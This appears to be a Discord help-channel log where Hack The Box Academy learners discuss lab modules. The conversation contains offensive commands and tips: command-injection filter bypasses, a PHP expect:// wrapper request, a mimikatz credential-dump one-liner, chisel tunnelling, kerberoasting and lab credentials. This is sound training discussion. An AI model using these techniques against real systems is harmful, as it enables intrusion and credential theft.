
how to learn legal hacking

[astral inlet]

https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[lusty hearth]

have you made a htb academy account yet?

[solid horizon]

no

[lusty hearth]

gonna just shamelessly plug this right here then: https://referral.hackthebox.com/mzwxkRC

youll want to make an account tho fr

htb academy has great beginner paths to hands on learning

[solid horizon]

i did

[lusty hearth]

bro these tier 3 & 4 modules expensive lol

[astral inlet]

https://tenor.com/view/doja-cat-star-wars-gif-25078126

[solid horizon]

wnat are these questions

[astral inlet]

the right one seems to be a hacker

[solid horizon]

What service do we use to form our VPN connection into HTB labs?

what is this

[astral inlet]

solve them

google them , learn, repeat

[solid horizon]

idk how

[astral inlet]

learn how to solve "problems"

[sterile epoch]

I kerberoasted the account for the task "Kerberoast an account with the SPN MSSQLSvc/SQL01.inlanefreight.local:1433 and submit the account name as your answer " and got the ticket but how do I get the account name

[solid horizon]

how to understand the flag of an ip aress

[sterile epoch]

I would suggest watching chris geer's wireshark tutorial

yea

you need to pray to illuminati

they will handle the rest

yea neither is illuminati

but be careful

praying to illuminati comes with its own risks

dude I am serious

[shut quest]

no one here will discuss illegal activities on this discord server, see #rules and #welcome .

[sterile epoch]

ask anyone here

[astral inlet]

https://tenor.com/view/illuminati-eyes-shaking-gif-12355978

[sterile epoch]

oh no the eye

[astral inlet]

ok time for prayer

[sterile epoch]

I cant stop looking in the eye

dude I have eyes now

[astral inlet]

but no joke there seems to be a exploit for discord floating around ... not so funny

[sterile epoch]

the illuminati or something more nefarious

[astral inlet]

yes

[sterile epoch]

any help here plis

[astral inlet]

BH dump available ?

[sterile epoch]

nope

[astral inlet]

seems i have some time 😉

Performing ping sweep for IP range xxx.xxx.xxx.xxx/16

[winged quail]

@unique swift

[storm stratus]

Study the "C:\Rules\yara\shell_detector.yar" YARA rule that aims to detect "C:\Samples\MalwareAnalysis\shell.exe" inside process memory. Then, specify the appropriate hex values inside the "$sandbox" variable to ensure that the "Sandbox detected" message will also be detected. Enter the correct hex values as your answer. Answer format: Remove any spaces

Anyone?

[solid python]

What's your question?

[sterile epoch]

my question is why is this not working?

did I do something wrong? the question was Submit the contents of the flag.txt file on the Administrator desktop on MS01

[unique swift]

Hey

[fathom pendant]

Wrong channel: #starting-point

[obtuse pawn]

thanks, i'll delete it from here

[fathom pendant]

This channel is for academy modules, the starting-point boxes are machines

[frozen mesa]

Is it possible to encode the payload in base64 in command injection module?

So far it only gave me errors, to be sure.

[fathom pendant]

You'd need the payload to be decoded and executed

[lusty thicket]

yes

[frozen mesa]

Could you give me some advice for Bypassing Blacklisted Commands, command injection module. Im stuck for a while now. I can execute system commands but i cant find the flag or ls other dirs than current directory. What do i miss?

[lusty thicket]

the section covers these methods

bypassing using other characters for example

[frozen mesa]

I did try that and i can ls in current dir, can route to another path but then i get no output. whoami and cat etc are filtered but know how to pass that. I'm missing something but cant see what

[lusty thicket]

i’m assuming the flag is in the root dir /?

[frozen mesa]

Use what you learned in this section find the content of flag.txt in the home folder of the user you previously found.

No 🙂 /home/1nj3c70r/flag.txt i would say

1nj3c70r was the username found in the question before

[astral inlet]

what a journey times 5

[fathom pendant]

through the looking glass

[astral inlet]

*** -> *** -> *** was a bit slow 😉

but again learned a lot

next : Active Directory Enumeration & Attacks

[fathom pendant]

glgl

[rustic sage]

Hi guys took some time off from academy , could someone remind me where I can find the password whn I want to ssh into the server as htb-student?

[fathom pendant]

usually the password is given on the section

generally right above the first question

[rustic sage]

Dont really see on for the service scanning section

[fathom pendant]

nmap module?

for a lot of the stuff, unless you need to ssh into the service to answer questions: you won't be provided creds

a lot of the NMAP stuff is definitely done strictly from the attack box

[thorn urchin]

could be confusing sshing in with starting the vpn service on a VM

[rustic sage]

Yeah the nmap section, the last question is :
List the SMB shares available on the target host. Connect to the available share as the bob user. Once connected, access the folder called 'flag' and submit the contents of the flag.txt file.
But I take it we dont need to ssh into the target to do this

[thorn urchin]

smb is its own service so no

[rustic sage]

Ok thanks guys!

[fathom pendant]

ah the user bob is given in the section

you get bob:{password}; read the section carefully

[rustic sage]

Oh I missed that, thanks 🙂

[fathom pendant]

yep: reading is really helpful for a LOT of the modules

[astral inlet]

try {ISF},{ISF9}

or *>cat

[frozen mesa]

"cat" is filtered. not allowed

[astral inlet]

tee ? head ? less ?

/bin/cat

[frozen mesa]

head, less and /bin/cat are filtered, tee shows only ping results (just like some cat functions do, no output, no error).

[astral inlet]

hm

[thorn urchin]

have you tried using the path trick to construct the cat command

it works for constructing any word if you can find the right offsets, not just their given examples

[frozen mesa]

Yes, and some cat variations do work (at least no invalid input error) but i dont get any output from the .txt file, ping results are shown so everything seems to work

[astral inlet]

are you 100% sure the name of the file and the path is correct ?

tried it with /etc/passwd ?

[raven lagoon]

Hello, im doing medium lab in Footprinting module

Enumerate the server carefully and find the username "HTB" and its password. Then, submit this user's password as the answer.

i got ** creds but i cannot use them on db, any suggest?

[frozen mesa]

yes, see my screenshot.

[astral inlet]

hmmmm

[frozen mesa]

i would expect an error or output from the text file but i when i dont get an invalid input error, it only shows the ping results.

[fathom pendant]

i believe there's an important file, perhaps on a fileshare

in any case: running as admin solves a lot of problems

[raven lagoon]

ive tried but i havent admin pwd

[fathom pendant]

yes you do

if you have the important document: you have the password

[raven lagoon]

what

that pwd doesnt work

[fathom pendant]

yes it does

[raven lagoon]

swear to god

[astral inlet]

i ve done this some days ago and everything worked

[fathom pendant]

i swear to whatever higher being helps you sleep at night

[tranquil axle]

Can you exfiltrate the source code of the ping site you are using? That would allow you to see what exactly is filtered and work around it

[raven lagoon]

AHAHHA

[fathom pendant]

fun fact you can rdp with those creds if you swap the username for a built-in windows account

[raven lagoon]

nvm im just stupid ive prob missclicked smth before

[frozen mesa]

via source i can see it needs to consist out of 4 octets, numbers only. The rest is done at the backend it seems.

[raven lagoon]

tysm

[raven lagoon]

oh cool thank you

[astral inlet]

as you will go deeper into the path it gets way more "suspicous" 😉

and many "aha" moments

[fathom pendant]

many facepalms

[astral inlet]

that was the word i weanted to say lol

[fathom pendant]

of "oh... it works like that?..." after trying to overcomplicate the hell out of it

...

[astral inlet]

erm yes

[fathom pendant]

let's not be fuckin weird

[astral inlet]

not my cup of tea 😄

[raven lagoon]

htb is makin me yk

[fathom pendant]

idk, nor do i think i wanna know

[thorn urchin]

<@&861185840277487616>

[fathom pendant]

can we give this man the muted role of public shame??

[astral inlet]

https://tenor.com/view/shame-go-t-game-of-thrones-walk-of-shame-shameful-gif-4949558

[shut wraith]

Hey guys.

I made a share on my kali and now I use this command on target windows to access share but its not working:

copy \\10.10.15.54:4444\home\htb\aaa C:\

U have any idea why its not working?

[sterile epoch]

any idea why ligolo is running on the server?

[fathom pendant]

because you're fundamentally misunderstanding how it works

[fathom pendant]

proxy is your host system: agent is the victims

[sterile epoch]

yes agent is on the rev shell proxy is on my local

[fathom pendant]

i guess i'm misunderstanding what you're asking

are you asking why it isn't running?

[sterile epoch]

yea

[fathom pendant]

that's a very different question lol

[sterile epoch]

I am in the skill assessment in ad enum

[shut wraith]

So what's the problem

[fathom pendant]

did you follow the documentation on chisel?

[long basin]

did you get windows amd64 agent?

[sterile epoch]

my bad I forgot "not"

[long basin]

only other thing I can think of is maybe the port is simply not open

[fathom pendant]

SMB can't arbitrarily choose a file location

[long basin]

you can try to run ligolo over a different port like 80/443/53/22

[sterile epoch]

I am unpacking chisel now

[thorn urchin]

you need to read the syntax for smb shares, your entire command was just wrong.

[fathom pendant]

you tell SMB which file/directory you're sharing, you can't access the root of a fs from a share (unless you're hosting the smb share in the root directory)

[shut wraith]

I tried:
copy \\10.10.15.54:4444\home\htb-ac-519917\htb\aaa C:\Users\htb-student\Desktop

The problem is that when I used that command. I get:

"network path was not found"

[fathom pendant]

I mean are you running SMB on port 4444 on your system?

[sterile epoch]

Is it unzipped correctly?

[fathom pendant]

but second: that's not how smb works

[shut wraith]

yes

[fathom pendant]

i mean; there's precompiled binaries my dude

[inland mesa]

Bro can anybody help, I did Netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=10.129.214.104 when working on Port Forwarding with Windows Netsh and my computer is completely broken. I am no longer to access the internet at all. And yes I checked internet options LAN settings and no there is no proxy server for my lan like every YouTube video says

[sterile epoch]

yea I did download the windows binaries but its missing the .exe extention

[fathom pendant]

don't dm me without asking @raven lagoon

[shut wraith]

I was just following the module's commands

[fathom pendant]

i doubt the module had you use that syntax

[inland mesa]

No it didn’t, but I had 4 hosts and since it wasn’t working at all and didn’t expect that command to destroy my computer

[fathom pendant]

... that syntax is WILDLY different from what you're trying

[thorn urchin]

you ran commands you didnt fully understand on your HOST 💀 ??

why were you using a VM???

[fathom pendant]

smbserver [sharename] [options] [mountlocation]

[inland mesa]

I didn’t have a choice, all vm’s I downloaded were too slow and it could only allow a windows machine for the first few commands

[fathom pendant]

the sharename is what's used for other devices using smb to connect to your share

[fathom pendant]

"too slow" sounds like you didn't configure them properly

[thorn urchin]

also the command should have been for a target windows. not to be run on your own isntance

idk any module in the path that requires you to run your own windows system. if one is needed it gets provided for you

[shut wraith]

So how do I specify the sharename if this is the share command:

I tried
copy \\10.10.15.54:4444\share\aaa C:\Users\htb-student\Desktop

[inland mesa]

It didn’t for me. It just gave me Linux and it told me I had to do it

Do you know how to fix the issue or is computer completely fucked

[thorn urchin]

then you severely misunderstood the instructions

[fathom pendant]

what is aaa is that the file?

[shut wraith]

Yes

[thorn urchin]

I did the entire course without ever touching my windows desktop. I used linux/mac laptops and never even needed a windows vm

[fathom pendant]

then that should work, idk why you're needing to use a different port though?

[shut wraith]

Cause after making 1 share I started getting an error that the port is in use even after restarting the service

[fathom pendant]

ah

i don't use the pwnbox often so i forget what services run by default

[inland mesa]

Well great. Thanks for the help for my broken computer

[fathom pendant]

my second question: does that file exist in that file location?

[shut wraith]

Yeah it does

[fathom pendant]

so if you do ls -la ~/htb the file aaa is there?

[shut wraith]

yeah

[next bronze]

afaik there's no easy way to change the UNC port, just use the default 445 aka don't specify a port

[thorn urchin]

try:
1.netsh int ip reset c:\resetlog.txt
2. ipconfig /flushdns

then restart the computer

[inland mesa]

Tried that before and just tried that again. It works for 2 mins then it does the same as usual

[thorn urchin]

after a restart you get internet for two minutes then it stops?

[inland mesa]

Yep exactly

I also cannot load up Google chrome at all

[thorn urchin]

Doesnt make much sense. You can try resetting the network adapter otherwise id just opt for a reinstall.

[inland mesa]

Damn

Also on this module how in the world do you do the first two steps without using a windows host? academy.hackthebox.com/module/158/section/1435

[next bronze]

you are given a windows host to rdp into

[inland mesa]

God damnit

God damnit

[thorn urchin]

"after configruing the portproxy on our Windows-based pivot host*"

you misread the instructions

[inland mesa]

I’m gonna kms

Broke my computer cause I misread directions

Fuck

[thorn urchin]

have you tried just deleting the v4tov4 stuff?

portproxy delete blah blah google the syntax

[sterile epoch]

in the pwnbox there are 2 proxychains conf files: proxychains4.conf proxychains.conf which should I modify to use socks5?

[inland mesa]

Yeah I tried that, no luck. Think I may just have to reset everything on my pc

[thorn urchin]

might as well

[inland mesa]

Thank you for the help though and pointing out where I screwed up lol. Really gonna read the directions carefully next time

[thorn urchin]

it helps to focus on the high level conceptually what you're trying to achieve.

Even if you misread the directions had you asked yourself 'how would this command help the goal of pivoting if Im running it from my own host' you mightve been able to stop yourself and checked your reading before it was too late

it pays to think critically about each and every command you run. You need to be prepared to supply the command and explain it to a client if nothing else

[inland mesa]

True true

Learned that lesson the hard way but still good to learn it regardless lol

[thorn urchin]

if it makes you feel better you learned a bonus lesson on why people dont hack things from their host and use VMs lol

[inland mesa]

True I’m gonna configure my vm correctly since it took 20 mins to load up internet explorer on it originally lol

[thorn urchin]

also worth remembering that HTB has very explicitly designed the course so that the entire thing including the exam can be done exclusively from the browser based pwnbox

though anyone who does so is clearly insane, but still

like its a hard rule, sections dont get added to any module in the course unless you can complete the lab within the pwnbox

[sterile epoch]

am I doing it right?

if so why is it not working

[inland mesa]

Ok gotcha, I will definitely remember that. Good to know the same for the exam

[astral inlet]

./chisel server -v -p 1234 --socks5 ./chisel client -v 10.129.202.64:1234 socks

[thorn urchin]

your commands are also flipped for reverse proxy.

in a reverse proxy you host the server on your attacker host and connect from the client on the pivot

[sterile epoch]

oh alright thanks

[sterile epoch]

about the proxychains file if I use the command proxychains ping 172.x.x.x I should only configure the proxychains.conf file instead of the proxychains4.conf

[thorn urchin]

ofc itll fail

ping uses ICMP

if you want ping you have to use a vpn styled proxy setup like ligolo-ng

proxychains/socks only does tcp and udp(poorly)

[sterile epoch]

yes I tried using ligolo but unfortunately it was not connecting due to some reason

any idea why this is happening?

[thorn urchin]

well its windows so it's backslash not forward slash for starters

your shell probably doesnt have error output and thus not seeing the failed to run results

ping also isn't terribly important, you should definitely learn both tools

[sterile epoch]

I am using the powershell base64 from revshells do you have any other in mind to use for the purpose?

[thorn urchin]

not really, you dont necessarily need it, im just saying its hiding information from you that may have been useful in troubleshooting

but the forward slash is the first problem to solve

.\ and ./ are NOT interchangeable on windows

[next bronze]

forward slash is fine in powershell

[thorn urchin]

sure? I habit typed./ last night in a lab and it errored on me

[fathom pendant]

Also: did it transfer properly?

[thorn urchin]

hmm started up powershell on work laptop and yeah forward does work. Wonder why it wouldnt last night. oh well

[sterile epoch]

I guess no

I will transfer it again

[next bronze]

might be in cmd that time

[thorn urchin]

nah I never use cmd unless im forced to

[fathom pendant]

The year is 1993, you gave just installed Microsoft 3.1

[buoyant void]

Can someone assist me with this question, maybe I'm just confused but I'm having a lot of trouble:

Authenticate to 10.129.164.247 with user "damundsen" and password "SQL1234!"
Leverage SQLAdmin rights to authenticate to the ACADEMY-EA-DB01 host (172.16.5.150). Submit the contents of the flag at C:\Users\damundsen\Desktop\flag.txt.

The first question instructed me to RDP to the htb-user at 10.129.164.247 which I did no problem. Then this question's hint says to use mssqlclient.py which won't connect to the damundsen@10.129.164.247. I can RDP into damundsen@10.129.164.247 with the given credentials but not through mssqlclient.py.

Any tips?

[fathom pendant]

Use sql from the context of the damundsen user

:p

172.16.5.150 is an internal host, you need to be on the internal network to access it

[buoyant void]

Right which is what I initially thought, but then the hint says to use mssqlclient.py which I assume to mean to do it from a Linux attack host no?

[fathom pendant]

There's an internal linux host

[buoyant void]

Usually in this section there's a Linux attack host and a Windows attack host you can spawn, but in this question there's only a Windows attack host. So I guessed the only way to use mssqlclient.py would be from my own Linux attack host

[fathom pendant]

The windows host is your initial vector: the linux host is also constant, it's stated in multiple sections of this module at the top what the credentials are and what host its on

[buoyant void]

Ah okay that makes sense, I thought the Linux host only was available in questions where it was explicitly mentioned

[fathom pendant]

If you read the blurb regarding the linux host it'll tell you more info

:p

[ember coral]

test

[fathom pendant]

Your copy/paste is getting deleted by automod

[ember coral]

so confused lmao

[fathom pendant]

It's being seen as spam because it's a large block of text

[ember coral]

so i cant copy output, cant copy pictures... great lmao

[fathom pendant]

Read #welcome and you can find out how to do those things :)

It takes maybe, at most, 5 minutes

[ember coral]

will do thx

[buoyant void]

@fathom pendant So since this question states: Authenticate to 10.129.164.247 with user "damundsen" and password "SQL1234!" it wants me to RDP into the host? I'm just trying to understand why add this blurb of information with that IP address and not the internal network address of 172.16.x.x

[fathom pendant]

Reading the question carefully helps: it asks afterwords to leverage their sqladmin rights to access an internal host

You don't need mssql to complete this btw

[buoyant void]

Yeah I know, I was just trying to figure out how it expected us to use mssqlclient.py to do it that's what was confusing me. I understand everything else

[fathom pendant]

I mean another method is pivoting

The module is assuming you remember/took notes on the internal Linux host to use

[ember coral]

Took care of this, and answered my own question in the process ty

[buoyant void]

Yeah I remember the credentials for the linux host (they're the same as for the windows host) but usually you need to spawn the linux attack host to get the IP address that you can then SSH into. This question only provides the IP address of the Windows MS01 host

[fathom pendant]

Yes

Because you can use windows to achieve the same thing

The section I believe goes over using some sql tools

[buoyant void]

Right which is what I ended up doing, but the hint telling me to use mssqlclient.py is what got me off track. Maybe the Linux host was also supposed to be spawned for this question idk

[fathom pendant]

It is spawned

And able to be connected to

Rdp to ms01, and ssh to linux

[buoyant void]

I don't have an IP address to SSH to, it didn't give me one and the linux host to SSH into changes everytime it's spanwed. I had to go back to a Linux centered question and spawn the Linux host. But really it's not that important as you mentioned it's able to be done from the Windows host

[fathom pendant]

... my brother in christ

The internal 172.x.x.x address that's provided in previous blurbs regarding that host is constant

172.16.5.225

It is spawned with the windows host

Actually if you're doing the "privileged access" section it's literally in the setup subheading

[buoyant void]

Ok that's my bad I wasn't clear enough, I knew the SSH access to the internal address is up and can be accessed via SSH from the MS01 host since it says that in the module. I meant usually when it expects us to SSH into that Linux attack host it provides us with the other subnet address of 10.x.x.x which we could SSH into. It's also my bad for not just SSH into the internal address, I just am used to using my VM to SSH into the Linux attack host directly and was focused on that more than just paying attention to a simple solution thats literally outlined in the text

Which is extra dumb on my part because I had this question yesterday and I just SSH into the internal address, got the other IP address and then connected to the 10.x.x.x address from my VM

Sorry I get a bit obssessed with tiny details sometimes and miss the forest for the trees, gotta get better at looking at the big picture and not wasting all my time when there's a solution right in front of me

[fathom pendant]

that's only on occasion: in this case - it's specifically stated: and yes that host does have a 10.x.x.x ip but likely due to backend reasons, they can't provide that to you

what's provided is the main target host

[buoyant void]

Yeah I understand

On the bright side, it forced me to get better at using PowerUpSQL which I hadn't used before as opposed to mssqlclient which I have used a lot

[fathom pendant]

but it's not like it's hiding from you

just gotta sometimes remind yourself that there are limitations ¯_(ツ)_/¯

[buoyant void]

Yeah I do this way too much just get zoned in on one thing and trying to understand why it's not the way I expect it to be lol character flaw of mine I guess

[sterile epoch]

any idea how do I complete the task
Find cleartext credentials for another domain user. Submit the username as your answer.
in skill assessment ad enumeration?

[fathom pendant]

sometimes tech just doesn't work the way you want it to; but it works

[fathom pendant]

sounds like you don't have either PowerView loaded or ActiveDirectory loaded

[sterile epoch]

I loaded powerview which gave me get object acl

But get domainforeignuser is not working

[next bronze]

you don't need to use powerview for that

[thorn urchin]

sounds like you're thinking in terms of AD settings. Try good old post exploitation credential hunting 🙂

[vestal girder]

Is anyone familiar with evilginx?

[fathom pendant]

what academy module does this relate to?

[vestal girder]

this does not apply to the module, I just found out maybe someone uses it and can help

[fathom pendant]

this channel is for discussion and help with academy modules

read #welcome to find out how to access more of the server and find a better place to ask your question

[tight mesa]

hello there, I'm struggling to find the password for the root user to access https://vc01.inlanefreight.local/ui/login, any hint would be great appreciate it...
Module : WinPrivEsc
Section: Further Credential Theft

[thorn urchin]

what have you tried

[tight mesa]

basically all the commands explained into the section

but working with regedit HKEY_CURRENT_USER 2 users got my attention

but can't get the session info

not sure if I'm in the right way

[languid juniper]

Im losing my mind on Pillaging Module

Specifically the restic part: "Log in as Jeff via RDP and find the password for the restic backups. Submit the password as the answer."

Im logged in as Jeff and have gone through the module a dozen times

I have looked for RESTIC_PASSWORD in environmental variables - nada

tried running string searches as well throughout the box

What on earth am I missing, there has to be something obvious that I am not doing

[tight mesa]

LoL I need to review my sight, I found it

[languid juniper]

Anyone ?

Please...

[reef frost]

Someone help me with the question:+ 0 What is the path to the htb-student's mail?

I don't know if I understood it correctly but I have to find a file called mail or something like that

[languid juniper]

I figured it out, it was so stupid

[languid juniper]

Which module are you on?

I can look at my notes to assist, currently 94% done with this beast

[reef frost]

Sistem Information (Linux Fundamentals)

[reef frost]

how?

[next bronze]

you're looking for a directory, try the list of commands given at the start of the section

[languid juniper]

sorry, I dont have this one under my belt yet

[reef frost]

So I use a command to find email, I mean ls?

[languid juniper]

ls -al

for all files in a directory

[next bronze]

you're not looking for an email, the question asked path to tb-students mail, it's a path/directory

again use the list of commands given at the start of the section

[small sage]

hi, having issues on intro to malware analysis. I believe my issues are stemming from inetsim configuration. On the target vm when I go to a webpage using https I get the inetsim response, when using http I get a 405 error. I've tried changing the http port in the config and I still get 405 error. Any tips?

[fathom pendant]

env

[normal panther]

#Skills Assessment - Windows Fundamentals module
3. Creating a user called Jim
Uncheck: User must change password at logon

I think reading the question it's expected to do it from a GUI possibly ADUC but I cannot find it in the windows box because it's not installed/configured?

[fathom pendant]

<@&861185840277487616>

[normal panther]

Anyone?

[shut quest]

I don't have my notes for that module, but seems like you're on the right path using a GUI. Might want to find out if there are other methods to managing a user account.

[fathom pendant]

Windows has a native way to do ot without AD

[normal panther]

I know I can add it via Users Account on Control Panel but the option of "Uncheck" is pointing me to ADUC because I haven't seen that option on a regular way of creating a new user acc

[shut quest]

Yeah, you might want to learn about computer management

[cedar void]

"Submit the contents of the flag.txt file on the Administrator desktop on MS01 "

Does MS01 represent an internal IP address on the target machine.

https://academy.hackthebox.com/module/143/section/1278

[autumn pilot]

Try to find out

Use the methods from the pivoting module and combine them with the knowledge you gained from the AD Enum & Attacks

[cedar void]

Does dynamic port forwarding not work here because I am connected to my target machine through a shell?

[edgy void]

Hi, I'm working my way through Linux fundamentals and somewhat stuck on one of the questions, it asks - How many total packages are installed on the target system? i had tried "apt list --all-versions | wc -l" thinking it would list all the installed packages and count them, it gave me a result of 148675 but it seems its incorrect. does anyone have any other suggestions how to find the results i am after ?

I have also tried "dpkg-query -l | wc -l " which gave me a different number

also incorrect

[autumn pilot]

Don't do things on autopilot, think before you execute something

[grand pivot]

I encountered this issue as well. If I remember correctly, I had to use dpkg --list

[edgy void]

tried this, it gave me the same count as dpkg-query -l

[grand pivot]

Could you show the output of dpkg-query -l | head? I'm wondering if there is some extra text in the beginning

[fathom pendant]

there certainly is

same thing with the apt list command for installed

dpkg you need to filter for ii

(that's dpkg code for "Installed")

[sterile epoch]

Get-DomainForeignGroupMember
This powerview command should give the members foreign to current domain right?

[peak mauve]

Im working on "Getting Started": Privilege escalation. I have ssh available. It doesnt make sense to have a reverse shell unless i can somehow get a shell as user2. Im assuming its looking for another way to escalate other than a reverse shell

[edgy void]

this was exactly what i needed, found my result, thank you very much

[fathom pendant]

user2 can see things it shouldn't

[fathom pendant]

maybe a hidden directory in /root/ holds the key to move forward

[peak mauve]

Im still working to pivoting to user2

[fathom pendant]

that's... super easy to do

[grand pivot]

Has anyone experiences RDP trough Remmina to be very slow? My session often has to reconnect every 30seconds or so. I intitally thought it was somehting with my VM, so i tried Pwnbox and got the issues there as well. Because of how slow it is, I cant move forwards

[fathom pendant]

look into how sudo works, if you know windows "runas" it's the same thing

[fathom pendant]

try changing vpn regions

[sterile epoch]

Find cleartext credentials for another domain user. Submit the username as your answer.
any advice on how to enumerate foreign members
So far I have tried using Get-DomainForeignMember and others in the image

[grand pivot]

Thank you that made it much better! :)

[next bronze]

what makes you think it's a foreign domain user? they just ask for another domain user. it's got nothing to do with powerview, assuming you have admin on ms01, dump everything

[peak mauve]

Sudo -l shows that user 2 has no password for /bin/bash

I tried running sudo -u user2 bash -c 'echo "$(home/user2/flag.txt)"'

I get a permission denied return

Back to the drawing board

[deep tusk]

Hi, can someone help me? I'm stuck at Stack Based Buffer Overflows on Linux x86. I completed all the questions before but the final assesment breaks me. I'm writing the correct shellcode for a reverse shell outside of gdb but i keep getting a segmentation fault at an address i think i dont even update. I need some help...

[peak mauve]

Doh. It was even more simple than i thought

[deep tusk]

I can confirm that my shellcode is written in memory an i have set the adress for the pointer to it but i think the segmentation fault triggers before the pointer

[tranquil axle]

haven't done that module, but a binary executed in gdb and a binary executed outside of gdb stores the environment variables differently which moves the addresses around. So your address from gdb may not be the same as when you execute it normally

[deep tusk]

Can i check using gdb if the pointer is even used?

[cedar void]

I posted this command from the enable port forwarding pivot section with a few changes of course. and I looked up the internal ip by ipconfig on target machine

[tranquil axle]

You can run the program with your shellcode in gdb and see if it works, and if it works in gdb but not outside then it’s likely the env variables

[deep tusk]

i get the same segmentation fault in gdb too. but when i look at the address where the fault is caused, its not part of my shellcode

[static ledge]

Hello, I have a question about "php wrappers" in the "File inclusion" module. When I check the php.ini of the server, I see the lines "extension=expect" and "allow_url_include = On" which means that I can use either of the wrappers (data, input or expect). But when I do "curl -s "http://ip:port/index.php?language=expect://id" | grep uid" It doesn't work. I've checked with the data wrapper and it works just fine. Does anybody know why ?

[tranquil axle]

does it even get to your shellcode is the question I guess. If you overwrite the buffer and put a incorrect jump address then a seg fault is likely to happen

[sterile epoch]

I used the command
Rubeus.exe kerberoast to kerberos all the users got back 7 hashes only one I could crack was the one I had already used used to access the machine
I tried to dcsync to dump the passwords

I did that on the admin ps

[deep tusk]

Thank you this seems promising. I got the return address by checking the memory where my pattern ends and the shellcode starts.

[tranquil axle]

I'd say step through the code in gdb up until the jump happens and then check if the address is correct in memory (endianness and so on) and if the address is also actually where you want to jump

[frozen mesa]

Anyone done the command injections module? I need some help with bypassing the last filter.

[deep tusk]

okay, how can i identify when the jump happens? in my opninion it should be the time when the segmentation fault happens but i can't see any jump instruction at this point.

[grand pivot]

In Footprinting Lab (hard), I understand that I'm supposed to use the SNMP server but the port is closed. I've tried the following with no luck

• resting target
• terminating and starting the target
• changing VPN region
• using pwnbox

I forgot to find the correct community string, that may be it
edit: finding the community string helped

[cedar void]

Since ssh isn't a port on windows... the dynamic port method is not going to work. Therefore , I need to try another pivot method

[frozen mesa]

Command injection --> Bypassing Other Blacklisted Characters. Passed all the filters except the one that is filtering the cat command.
anyone a nudge?

[high zinc]

does plink and "reverse port forward" help here?

[agile torrent]

do you need cat for that section?

[frozen mesa]

Use what you learned in this section find the content of flag.txt in the home folder of the user you previously found.

and the hint suggest using cat in a different way

[agile torrent]

oh mb, thats not 'bypassing other blacklisted chars' then

gimme a sec to test

[frozen mesa]

sorry my bad

Bypassing Blacklisted Commands is it. one further

I've printed the printenv on the host to use the path to make the cat command but i dont get it working.

[agile torrent]

while its possible, you're usually wanting to use the env method to generate blocked symbols, like / or . or something

theres a lot easier way to bypass the 'cat', have another read through the blacklisted commands page

[static ledge]

Hello, I have a question about "php wrappers" in the "File inclusion" module. When I check the php.ini of the server, I see the lines "extension=expect" and "allow_url_include = On" which means that I can use either of the wrappers (data, input or expect). But when I do "curl -s "http://ip:port/index.php?language=expect://id" | grep uid" It doesn't work. I've checked with the data wrapper and it works just fine. Does anybody know why ?

[frozen mesa]

oh damn

[frozen mesa]

got it

[agile torrent]

nice, well done

[agile torrent]

not sure why it doesn't work as supplied, but ive got it working by combining it with another technique it mentioned earlier in that section

[static ledge]

Yeah i also got the flag but I was wondering why expect didn't work.

[ruby whale]

I tried 10 mins finding wordpress plugin in Attacking Common applications, when I just had to reformat words 🤦

[sinful olive]

IN **AD Enumeration & Attacks - Skills Assessment Part II

• Submit the contents of the flag.txt file on the Administrator Desktop on the MS01 host**
  I tried Lazagne&Rubeus but no output, tried mimikatz - and it gives me an infinite loop for some reason.
  tried crackmspexec smb but gives an error.
  How am I suppose to get other users?

[sterile epoch]

hi

[lyric mica]

Hello, i'm a newb. That being said, im seeking any advice on the 'service enumeration' section of 'network enumeration with nmap' module. So far ive tried the suggested scans multiple times, yet the scan take so much time my time in the pwnbox runs out. Ive even added time to it. I wonder if maybe my personal connection speeds are lacking. should i try scanning the target from my own vm? Thank you in advance.

[sterile epoch]

if you are trying from a local attack machine you will face long delays specially if they are full noisy scans

I would suggest for this module use the browser vm HTB provides

[lyric mica]

Ok

[shut quest]

Have you tried mimikatz as a one liner? mimikatz "privilege::debug" exit

[sinful olive]

tried but without the exit.. I'll try now..

[vivid igloo]

module:PASSWORD ATTACKS table of content : Pass the Hash (PtH) q: 2nd last read the flag in C:\julio\flag.txt. well the payload of PS is executing on the DC but i am not getiing the NC shell need help it's been a long time since am stuck here

[rotund steppe]

Working on question four for this module and I'm stuck- https://academy.hackthebox.com/module/112/section/1069. I've run dnsenum and the bash example and checked for internal zone transfer with dig but none of those results are turning up a host ending in .203. Even used the top 1 million subdomains list from seclists and ran until it timed out (~2 hours). What am I missing? It feels like I need to do more with the internal zone transfer but I'm not sure what.

Commands I've tried: dnsenum --dnsserver <targethost> --enum -p 0 -s 0 -o subdomains.txt -f /home/subdomains-top1million-110000.txt inlanefreight.htb
for sub in $(cat /home/subdomains-top1million-110000.txt);do dig $sub.inlanefreight.htb @<targethost> | grep -v ';\|SOA' | sed -r '/^\s*$/d' | grep $sub | tee -a subdomains.txt;done ^^This one was super slow and abandoned it after 45 minutes, dnsenum ran much faster
dig axfr internal.inlanefreight.htb <targethost>

for dnsenum I also tried using shubs-subdomains.txt and subdomains-top1million-5000.txt and bitquark-subdomains-top100000.txt from seclists but none of them turned anything up.

[soft cedar]

You should try fierce wordlist

[rustic sage]

Broken Authentication: Predicatable Reset Token: Question 1. Having trouble getting this one. I'm not sure if i have the python script correct. If anyone is willing to give a second pair of eyes to it I would appreciate the help. Thank you in advance

[rotund steppe]

||Ran it, returned 2 hosts: app.inlanefreight.htb. 604800 IN A 10.129.18.15 ns.inlanefreight.htb. 604800 IN A 127.0.0.1||

[limber surge]

under att n defense ->PKI - ESC1
Connect to the Kali host first, then RDP to WS001 as 'bob:Slavi123' and practice the techniques shown in this section. What is the flag value located at \dc1\c$\scripts?

im suppose to save the cert where it stat -----start certificate ---- to end certificate to a text file under cert.pem right? but then after when i try to run this.

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

i am not able to read the cert.pem file

[soft cedar]

what was your command?

use dnsenum to bruteforce the hostnames

[gloomy lichen]

hey mate, mind if I ping you about this? I am at about 15 versions of my script, and apparently still missing some detail 😄

[next bronze]

make sure to use the correct timezone and format for the string, if you can't figure it out, dm what you've got

[autumn garnet]

Hey guys, I search a bit on Google and the academy, but I'm just wondering if hackthebox has a c2 framework module.

[next bronze]

not at the moment

[rotund steppe]

$ dnsenum --dnsserver <targethost> --enum -p 0 -s 0 -o subdomains.txt -f /home/<myhost>/fierce-hostlist.txt inlanefreight.htb

[next bronze]

@rustic sage too

[frozen mesa]

Command injection --> obfuscation
